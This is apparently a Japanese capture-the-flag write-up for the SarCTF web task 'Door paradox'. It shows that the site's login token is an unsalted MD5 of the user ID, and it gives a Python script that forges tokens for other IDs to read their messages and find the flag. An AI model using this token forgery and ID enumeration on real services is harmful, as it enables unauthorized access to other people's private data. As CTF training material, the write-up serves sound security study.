はまやんはまやんはまやん

hamayanhamayan's blog

Door paradox [SarCTF]

https://ctftime.org/task/10484

前提知識

解説

ソースコードをたどると、メインロジックにたどり着ける。
http://sherlock-message.ru/script.js
ここから、POSTで/api/にメッセージを投げて色々な処理を行っている。
そこが隠蔽されていて見えない。

ログイン処理の部分を見てみると、localStorageにトークンっぽいのを置いて、認証判別しているっぽい。
見てみるとeccbc87e4b5ce2fe28308fd9f2a7baf3がおいてある。
32文字といえばMD5なので、ここで検索してみる。
弱いハッシュで、3のMD5ハッシュであった。
test:testでログインすると、ユーザーIDが3なので、adminを見るには、1のMD5ハッシュとかを入れてやればよさそう。
実際、これは当たっている。

メッセージを呼び出すには、/api/messages.getByDialogに対して{"user_id": 確認したいid, "key": 確認元idのmd5ハッシュ}を付けてPOSTすればいいので、
これで「確認したいID」と「確認元ID」を全探索して、それっぽいフラグを探すと答え。

import hhtools.util as hu
import re

uid = 2
print(hu.to_md5(str(uid)))

for src in range(1,4):
    for dst in range(1,4):
        html = hu.get_file_via_internet_post_form('http://sherlock-message.ru/api/messages.getByDialog', {
            'user_id': str(src), 
            'key': hu.to_md5(str(dst))
        })
        flag = re.findall(r'FLAG\{\w+\}', html)
        print(flag)